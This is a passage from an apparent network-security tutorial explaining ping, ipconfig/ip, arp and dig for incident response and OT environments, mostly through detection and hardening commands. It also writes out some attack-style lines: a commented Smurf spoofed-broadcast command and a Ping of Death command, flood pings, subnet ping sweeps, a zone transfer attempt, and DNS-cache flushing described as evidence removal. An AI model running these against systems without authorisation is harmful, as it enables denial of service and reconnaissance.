&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Traceroute is the network equivalent of a map — it shows where your traffic goes and how it gets there. During incident response, traceroute to C2 IP addresses reveals ISP infrastructure and geographic routing, which supports attribution. Changes in traceroute paths over time can indicate BGP hijacking. In OT environments, traceroute confirms whether traffic is properly segmented — if a traceroute from an untrusted zone reaches an OT device with fewer hops than expected, segmentation may be compromised.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Ping — The Fundamental Connectivity Test
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Ping Mechanics
&lt;/h3&gt;

&lt;p&gt;Ping sends ICMP Echo Request packets and waits for ICMP Echo Reply. It measures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whether a host is reachable&lt;/li&gt;
&lt;li&gt;Round-trip time (RTT)&lt;/li&gt;
&lt;li&gt;Packet loss percentage
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ICMP Echo Request/Reply:
  Type 8, Code 0: Echo Request (ping sent)
  Type 0, Code 0: Echo Reply (pong received)

Packet structure:
  [IP Header][ICMP Header][Identifier][Sequence Number][Data]
  Identifier: identifies the ping process (useful for multi-process analysis)
  Sequence Number: increments per packet (detects packet loss/reordering)
  Data: typically a timestamp + padding
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Ping Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux ping:&lt;/span&gt;
ping 192.168.1.1                     &lt;span class="c"&gt;# Ping until Ctrl+C&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1                &lt;span class="c"&gt;# -c 4: send 4 packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.1          &lt;span class="c"&gt;# -W 1: 1 second timeout (quick test)&lt;/span&gt;
ping &lt;span class="nt"&gt;-i&lt;/span&gt; 0.2 192.168.1.1             &lt;span class="c"&gt;# -i 0.2: send every 0.2 seconds (fast)&lt;/span&gt;
ping &lt;span class="nt"&gt;-s&lt;/span&gt; 1400 192.168.1.1            &lt;span class="c"&gt;# -s 1400: packet size 1400 bytes&lt;/span&gt;
ping &lt;span class="nt"&gt;-f&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# -f: flood ping (root only — sends as fast as possible)&lt;/span&gt;
ping &lt;span class="nt"&gt;-t&lt;/span&gt; 64 192.168.1.1              &lt;span class="c"&gt;# -t 64: set TTL to 64&lt;/span&gt;
ping &lt;span class="nt"&gt;-q&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# -q: quiet (only summary)&lt;/span&gt;
ping &lt;span class="nt"&gt;-b&lt;/span&gt; 192.168.1.255               &lt;span class="c"&gt;# -b: broadcast ping (finds all hosts on subnet)&lt;/span&gt;

&lt;span class="c"&gt;# ping6 (IPv6):&lt;/span&gt;
ping6 ::1                           &lt;span class="c"&gt;# Ping IPv6 loopback&lt;/span&gt;
ping6 &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 fe80::1               &lt;span class="c"&gt;# Ping link-local (must specify interface)&lt;/span&gt;

&lt;span class="c"&gt;# Windows ping:&lt;/span&gt;
ping 192.168.1.1                    &lt;span class="c"&gt;# 4 packets by default&lt;/span&gt;
ping &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# Ping continuously&lt;/span&gt;
ping &lt;span class="nt"&gt;-n&lt;/span&gt; 10 192.168.1.1              &lt;span class="c"&gt;# -n 10: 10 packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-l&lt;/span&gt; 1000 192.168.1.1            &lt;span class="c"&gt;# -l 1000: 1000 byte packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-i&lt;/span&gt; 5 192.168.1.1               &lt;span class="c"&gt;# -i 5: TTL = 5&lt;/span&gt;
ping &lt;span class="nt"&gt;-w&lt;/span&gt; 3000 192.168.1.1            &lt;span class="c"&gt;# -w 3000: 3 second timeout&lt;/span&gt;

&lt;span class="c"&gt;# Network sweep with ping (quick host discovery):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"192.168.1.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; is alive"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Slow — runs sequentially&lt;/span&gt;

&lt;span class="c"&gt;# Parallel ping sweep (faster):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"192.168.1.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; alive"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait&lt;/span&gt;

&lt;span class="c"&gt;# fping (faster, parallel by design):&lt;/span&gt;
fping &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; 192.168.1.0/24 2&amp;gt;/dev/null  &lt;span class="c"&gt;# -a: show alive, -g: generate range&lt;/span&gt;
fping &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; 192.168.1.0/24              &lt;span class="c"&gt;# -A: show addresses of alive hosts&lt;/span&gt;

&lt;span class="c"&gt;# MTU discovery using ping:&lt;/span&gt;
ping &lt;span class="nt"&gt;-M&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 1472 192.168.1.1     &lt;span class="c"&gt;# -M do: don't fragment, -s 1472 (+28 headers = 1500 MTU)&lt;/span&gt;
&lt;span class="c"&gt;# If MTU is smaller: "Frag needed and DF set"&lt;/span&gt;
&lt;span class="c"&gt;# Binary search for MTU: test 1472, 1000, 1300, 1400, 1450...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Ping for Security Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detect if ICMP is blocked by firewall:&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 target_ip
&lt;span class="c"&gt;# No response: either host down OR ICMP blocked by firewall&lt;/span&gt;
&lt;span class="c"&gt;# Use TCP scan to disambiguate:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 &lt;span class="nt"&gt;-Pn&lt;/span&gt; target_ip    &lt;span class="c"&gt;# -Pn: skip ping, assume host is up&lt;/span&gt;

&lt;span class="c"&gt;# Detect ICMP rate limiting:&lt;/span&gt;
ping &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 1000 192.168.1.1         &lt;span class="c"&gt;# Flood ping (root required)&lt;/span&gt;
&lt;span class="c"&gt;# Rate: loss% indicates rate limiting or capacity issues&lt;/span&gt;
&lt;span class="c"&gt;# Security: can be used to stress test, also detects DoS-resistant configs&lt;/span&gt;

&lt;span class="c"&gt;# Identify OS via TTL (passive fingerprinting):&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 target_ip | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"ttl="&lt;/span&gt;
&lt;span class="c"&gt;# ttl=64: Linux/Unix&lt;/span&gt;
&lt;span class="c"&gt;# ttl=128: Windows&lt;/span&gt;
&lt;span class="c"&gt;# ttl=255: Cisco/network devices&lt;/span&gt;
&lt;span class="c"&gt;# Note: each hop decrements TTL by 1, so adjust for distance&lt;/span&gt;

&lt;span class="c"&gt;# Covert channel detection (ICMP payload analysis):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 icmp &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^--&lt;/span&gt;&lt;span class="nv"&gt;$\&lt;/span&gt;&lt;span class="s2"&gt;|bytes"&lt;/span&gt;
&lt;span class="c"&gt;# Large or unusual ICMP payloads = potential covert channel&lt;/span&gt;
&lt;span class="c"&gt;# Normal ping: 32 bytes (Windows) or 56 bytes (Linux) of data&lt;/span&gt;
&lt;span class="c"&gt;# Suspicious: 1400+ bytes, non-standard patterns, encrypted-looking content&lt;/span&gt;

&lt;span class="c"&gt;# Detect ping sweep against your network:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp and icmp[icmptype] = icmp-echo'&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1-4&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;span class="c"&gt;# High count from single source = ping sweep (reconnaissance)&lt;/span&gt;

&lt;span class="c"&gt;# ICMP timestamp requests (OS fingerprinting):&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--icmp&lt;/span&gt; &lt;span class="nt"&gt;--icmp-ts&lt;/span&gt; 192.168.1.1    &lt;span class="c"&gt;# ICMP timestamp request&lt;/span&gt;
&lt;span class="c"&gt;# Response reveals system time (useful for timezone identification)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ping of Death and ICMP-based Attacks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ping of Death (historical — modern OSes patched):&lt;/span&gt;
&lt;span class="c"&gt;# Large ICMP fragments caused buffer overflow in old OSes&lt;/span&gt;
&lt;span class="c"&gt;# ping -s 65500 target  # Would crash old Windows/Unix kernels&lt;/span&gt;
&lt;span class="c"&gt;# Modern relevance: some embedded OT devices may still be vulnerable&lt;/span&gt;

&lt;span class="c"&gt;# Smurf Attack (broadcast ping with spoofed source):&lt;/span&gt;
&lt;span class="c"&gt;# Concept: ping broadcast address with victim's IP as source&lt;/span&gt;
&lt;span class="c"&gt;# All hosts reply to victim → amplified DoS&lt;/span&gt;
&lt;span class="c"&gt;# hping3 --icmp -a VICTIM_IP BROADCAST_ADDRESS  (do NOT run this)&lt;/span&gt;
&lt;span class="c"&gt;# Defence: disable broadcast ping response:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

&lt;span class="c"&gt;# ICMP redirect attack detection:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp[icmptype] = icmp-redirect'&lt;/span&gt;
&lt;span class="c"&gt;# Should almost never see ICMP redirects on secure network&lt;/span&gt;
&lt;span class="c"&gt;# ICMP redirect from unexpected host = possible routing attack&lt;/span&gt;

&lt;span class="c"&gt;# Block ICMP redirects:&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.accept_redirects&lt;span class="o"&gt;=&lt;/span&gt;0
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.secure_redirects&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Ping is deceptively simple but encodes OS type (TTL), network topology (RTT changes), and reachability in every response. No response to ping doesn't mean the host is down — firewalls commonly block ICMP while allowing TCP. In OT environments, ping is the safest active tool to use — a single ICMP Echo Request is unlikely to destabilise most field devices. But even here, caution is warranted with very old RTUs and PLCs.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. ipconfig and ifconfig — Interface Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Windows ipconfig
&lt;/h3&gt;

&lt;p&gt;ipconfig is the primary Windows command for viewing and managing IP configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Basic commands:
ipconfig                    # Summary: IP, mask, gateway per interface
ipconfig /all               # Full details: MAC, DHCP, DNS, lease times
ipconfig /release           # Release DHCP lease (lose IP)
ipconfig /renew             # Renew DHCP lease (get new IP)
ipconfig /flushdns          # Clear DNS resolver cache
ipconfig /displaydns        # Show DNS resolver cache contents
ipconfig /registerdns       # Re-register DNS (forces DNS update)
ipconfig /showclassid *     # Show DHCP class IDs

# Security-relevant output from ipconfig /all:
# Physical Address (MAC): identifies device manufacturer, useful for inventory
# DHCP Enabled: Yes/No — is this statically or dynamically assigned?
# DHCP Server: which server assigned this IP (for forensic timeline)
# Lease Obtained: when was the IP assigned (forensic timestamp)
# Lease Expires: when will it expire
# Default Gateway: routing path — is this the expected gateway?
# DNS Servers: which servers resolve names — rogue DNS = suspicious
# DNS Suffix Search List: reveals domain membership
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ipconfig for Security Analysis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Check for rogue gateway/DNS (MITM indicator):
ipconfig /all | findstr /i "gateway\|dns server"
# Expected: corporate gateway and DNS IPs
# Unexpected: different IPs = possible DHCP poisoning or MITM

# Find all network interfaces (VPN, virtual adapters):
ipconfig /all | findstr /i "adapter\|IPv4\|physical"
# VPN adapters may have routes that bypass monitoring
# Unexpected adapters = possible rogue software

# DNS cache analysis (what has this machine been looking up?):
ipconfig /displaydns
# Shows: all recently resolved domains
# Forensic value: what sites has this machine visited?
# Suspicious entries: C2 domains, unusual TLDs, encoded domain names

# Clear evidence (attacker's move):
ipconfig /flushdns           # Clear DNS cache evidence
# Detection: if DNS cache is empty on an active machine = suspicious
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Linux ifconfig and ip
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ifconfig&lt;/code&gt; is legacy. &lt;code&gt;ip&lt;/code&gt; is the modern replacement. Know both.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Legacy ifconfig:&lt;/span&gt;
ifconfig                         &lt;span class="c"&gt;# All interfaces&lt;/span&gt;
ifconfig eth0                    &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ifconfig eth0 up                 &lt;span class="c"&gt;# Bring interface up&lt;/span&gt;
ifconfig eth0 down               &lt;span class="c"&gt;# Bring interface down&lt;/span&gt;
ifconfig eth0 192.168.1.100/24   &lt;span class="c"&gt;# Set IP address&lt;/span&gt;
ifconfig eth0 promisc            &lt;span class="c"&gt;# Enable promiscuous mode (packet capture)&lt;/span&gt;
ifconfig eth0 &lt;span class="nt"&gt;-promisc&lt;/span&gt;           &lt;span class="c"&gt;# Disable promiscuous mode&lt;/span&gt;

&lt;span class="c"&gt;# Modern ip command:&lt;/span&gt;
ip addr                          &lt;span class="c"&gt;# Show all interfaces and IPs&lt;/span&gt;
ip addr show eth0                &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show                     &lt;span class="c"&gt;# Link layer info (MAC, state)&lt;/span&gt;
ip route show                    &lt;span class="c"&gt;# Routing table&lt;/span&gt;
ip route get 8.8.8.8             &lt;span class="c"&gt;# What route would be used for this destination?&lt;/span&gt;
ip neigh show                    &lt;span class="c"&gt;# ARP cache&lt;/span&gt;
ip &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nb"&gt;link&lt;/span&gt;                       &lt;span class="c"&gt;# Interface statistics&lt;/span&gt;
ip &lt;span class="nt"&gt;-6&lt;/span&gt; addr                       &lt;span class="c"&gt;# IPv6 addresses&lt;/span&gt;

&lt;span class="c"&gt;# Adding/removing configuration:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr add 192.168.1.100/24 dev eth0    &lt;span class="c"&gt;# Add IP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr del 192.168.1.100/24 dev eth0   &lt;span class="c"&gt;# Remove IP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 up                       &lt;span class="c"&gt;# Bring up interface&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 down                     &lt;span class="c"&gt;# Bring down interface&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 address AA:BB:CC:DD:EE:FF  &lt;span class="c"&gt;# Change MAC address&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route add default via 192.168.1.1       &lt;span class="c"&gt;# Add default route&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route del default                        &lt;span class="c"&gt;# Remove default route&lt;/span&gt;

&lt;span class="c"&gt;# Security-relevant interface operations:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 promisc on     &lt;span class="c"&gt;# Enable promiscuous mode&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show eth0 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; promisc  &lt;span class="c"&gt;# Check if promiscuous mode is on&lt;/span&gt;
&lt;span class="c"&gt;# Promiscuous mode: someone is running packet capture on this interface&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected promisc = potential malicious sniffing&lt;/span&gt;

&lt;span class="c"&gt;# Find all network interfaces (including hidden/virtual):&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show
&lt;span class="c"&gt;# Look for: unexpected tap/tun interfaces (VPN/tunnels), br- (bridges)&lt;/span&gt;
&lt;span class="c"&gt;# br-* = Docker bridge (container networking)&lt;/span&gt;
&lt;span class="c"&gt;# tun0 = OpenVPN/WireGuard tunnel&lt;/span&gt;
&lt;span class="c"&gt;# virbr* = libvirt/QEMU virtual bridge&lt;/span&gt;

&lt;span class="c"&gt;# Check for multiple default routes (split tunnelling indicator):&lt;/span&gt;
ip route show | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"default"&lt;/span&gt;
&lt;span class="c"&gt;# Multiple default routes: possible VPN split tunnelling&lt;/span&gt;
&lt;span class="c"&gt;# Security: traffic may not all go through monitoring infrastructure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Network Configuration for Security
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Full network configuration audit script:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/network_config_audit.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
echo "===== NETWORK CONFIGURATION AUDIT ====="
echo "Timestamp: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo ""

echo "--- All Interfaces ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- MAC Addresses ---"
ip link show | grep "link/ether"
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- ARP Cache ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Listening Services ---"
ss -tulnp 2&amp;gt;/dev/null | head -30
echo ""

echo "--- Promiscuous Interfaces ---"
ip link show | grep -i promisc
echo ""

echo "--- Active VPN/Tunnel Interfaces ---"
ip link show | grep -E "tun|tap|vpn|wg|ovpn"
echo ""

echo "--- Unusual Routes ---"
ip route show | grep -v "^default&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="sh"&gt;169.254&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="sh"&gt;fe80"
echo ""

echo "===== AUDIT COMPLETE ====="
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/network_config_audit.sh
bash /tmp/network_config_audit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; ipconfig/ifconfig is the starting point for every network investigation — it establishes your current position on the network. In incident response, unexpected configurations reveal MITM attacks (wrong gateway), DNS hijacking (wrong DNS servers), and covert channels (unexpected VPN adapters or promiscuous interfaces). In OT assessments, collecting interface configuration from all devices builds the network topology without active scanning.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Additional Critical Tools
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 arp — ARP Table Management
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View ARP cache:&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                              &lt;span class="c"&gt;# All entries (Linux/Windows)&lt;/span&gt;
ip neigh show                       &lt;span class="c"&gt;# Modern Linux equivalent&lt;/span&gt;

&lt;span class="c"&gt;# Static ARP entries (prevent ARP spoofing of critical hosts):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp &lt;span class="nt"&gt;-s&lt;/span&gt; 192.168.1.1 AA:BB:CC:DD:EE:FF    &lt;span class="c"&gt;# Add static entry (Linux)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp &lt;span class="nt"&gt;-d&lt;/span&gt; 192.168.1.1                       &lt;span class="c"&gt;# Delete entry&lt;/span&gt;

&lt;span class="c"&gt;# Windows:&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                              &lt;span class="c"&gt;# View all&lt;/span&gt;
netsh interface ip add neighbors &lt;span class="s2"&gt;"Local Area Connection"&lt;/span&gt; 192.168.1.1 AA-BB-CC-DD-EE-FF
&lt;span class="c"&gt;# Add static ARP for gateway&lt;/span&gt;

&lt;span class="c"&gt;# Detect ARP spoofing:&lt;/span&gt;
watch &lt;span class="nt"&gt;-n&lt;/span&gt; 1 arp &lt;span class="nt"&gt;-a&lt;/span&gt;                   &lt;span class="c"&gt;# Monitor ARP table changes&lt;/span&gt;
&lt;span class="c"&gt;# If gateway IP shows different MAC = ARP spoofing in progress&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 dig and nslookup — DNS Interrogation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# dig (Domain Information Groper) — primary DNS tool:&lt;/span&gt;
dig example.com                     &lt;span class="c"&gt;# A record (default)&lt;/span&gt;
dig example.com A                   &lt;span class="c"&gt;# Explicit A record&lt;/span&gt;
dig example.com AAAA                &lt;span class="c"&gt;# IPv6 address&lt;/span&gt;
dig example.com MX                  &lt;span class="c"&gt;# Mail exchange&lt;/span&gt;
dig example.com TXT                 &lt;span class="c"&gt;# Text records (SPF, DKIM, etc.)&lt;/span&gt;
dig example.com NS                  &lt;span class="c"&gt;# Name servers&lt;/span&gt;
dig example.com SOA                 &lt;span class="c"&gt;# Start of Authority&lt;/span&gt;
dig &lt;span class="nt"&gt;-x&lt;/span&gt; 8.8.8.8                     &lt;span class="c"&gt;# Reverse lookup (PTR)&lt;/span&gt;
dig @8.8.8.8 example.com           &lt;span class="c"&gt;# Use specific DNS server&lt;/span&gt;
dig +short example.com              &lt;span class="c"&gt;# Just the answer (IP only)&lt;/span&gt;
dig +trace example.com              &lt;span class="c"&gt;# Full resolution trace (root → TLD → auth)&lt;/span&gt;
dig +nocmd +noall +answer example.com  &lt;span class="c"&gt;# Clean output&lt;/span&gt;

&lt;span class="c"&gt;# Security uses:&lt;/span&gt;
dig TXT _dmarc.example.com          &lt;span class="c"&gt;# DMARC policy&lt;/span&gt;
dig TXT example.com | &lt;span class="nb"&gt;grep &lt;/span&gt;spf      &lt;span class="c"&gt;# SPF record&lt;/span&gt;
dig AXFR @ns1.example.com example.com  &lt;span class="c"&gt;# Zone transfer attempt&lt;/span&gt;
dig example.com ANY                 &lt;span class="c"&gt;# All record types&lt;/span&gt;

&lt;span class="c"&gt;# Detect DNS changes:&lt;/span&gt;
&lt;span class="nv"&gt;OLD_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig +short example.com&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;3600
&lt;span class="nv"&gt;NEW_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig +short example.com&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OLD_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DNS CHANGED: &lt;/span&gt;&lt;span class="nv"&gt;$OLD_IP&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$NEW_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# nslookup:&lt;/span&gt;
nslookup example.com                &lt;span class="c"&gt;# Basic lookup&lt;/span&gt;
nslookup example.com 8.8.8.8       &lt;span class="c"&gt;# Use specific server&lt;/span&gt;
